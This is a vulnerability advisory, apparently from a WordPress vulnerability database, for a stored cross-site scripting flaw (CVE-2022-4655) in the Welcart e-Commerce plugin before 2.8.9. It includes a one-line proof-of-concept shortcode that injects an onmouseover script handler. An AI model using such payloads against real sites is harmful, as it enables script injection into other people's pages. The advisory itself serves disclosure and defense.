Welcart e-Commerce < 2.8.9 – Contributor+ Stored XSS via Shortcode | CVE 2022-4655 | Plugin Vulnerabilities

Description

The plugin does not validate and escapes one of its shortcode attributes, which could allow users with a role as low as a contributor to perform a Stored Cross-Site Scripting attack.

Proof of Concept

1. Add a product item to the plugin. The item name, for example, "first". You will also use this in the shortcode.


2. Exploit shortcode:

[button_to_cart item='first' value='SUBMIT" onmouseover="alert(1)" style="border:5px solid red;"']

Affects Plugins

Fixed in 2.8.9

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Lana Codes

Submitter

Lana Codes

Submitter website

https://lana.codes/

Submitter twitter

Verified

Yes

WPVDB ID

a1c70c80-e952-4cc7-aca0-c2dde3fa08a9

Timeline

Publicly Published

2022-12-23 (about 3 years ago)

Added

2022-12-23 (about 3 years ago)

Last Updated

2022-12-23 (about 3 years ago)

Other

Published

Title

Published

2025-03-27

Title

WP Cards <= 1.5.1 - Reflected Cross-Site Scripting

Published

2018-05-01

Title

WF Cookie Consent <= 1.1.3 - Authenticated Persistent Cross-Site Scripting (XSS)

Published

2015-11-24

Title

SEO Rank Reporter <= 2.2.2 - Authenticated Reflected Cross-Site Scripting (XSS)

Published

2025-03-07

Title

Gallery Styles < 1.3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-09-27

Title

Starter Templates < 4.4.1 - Author+ Stored XSS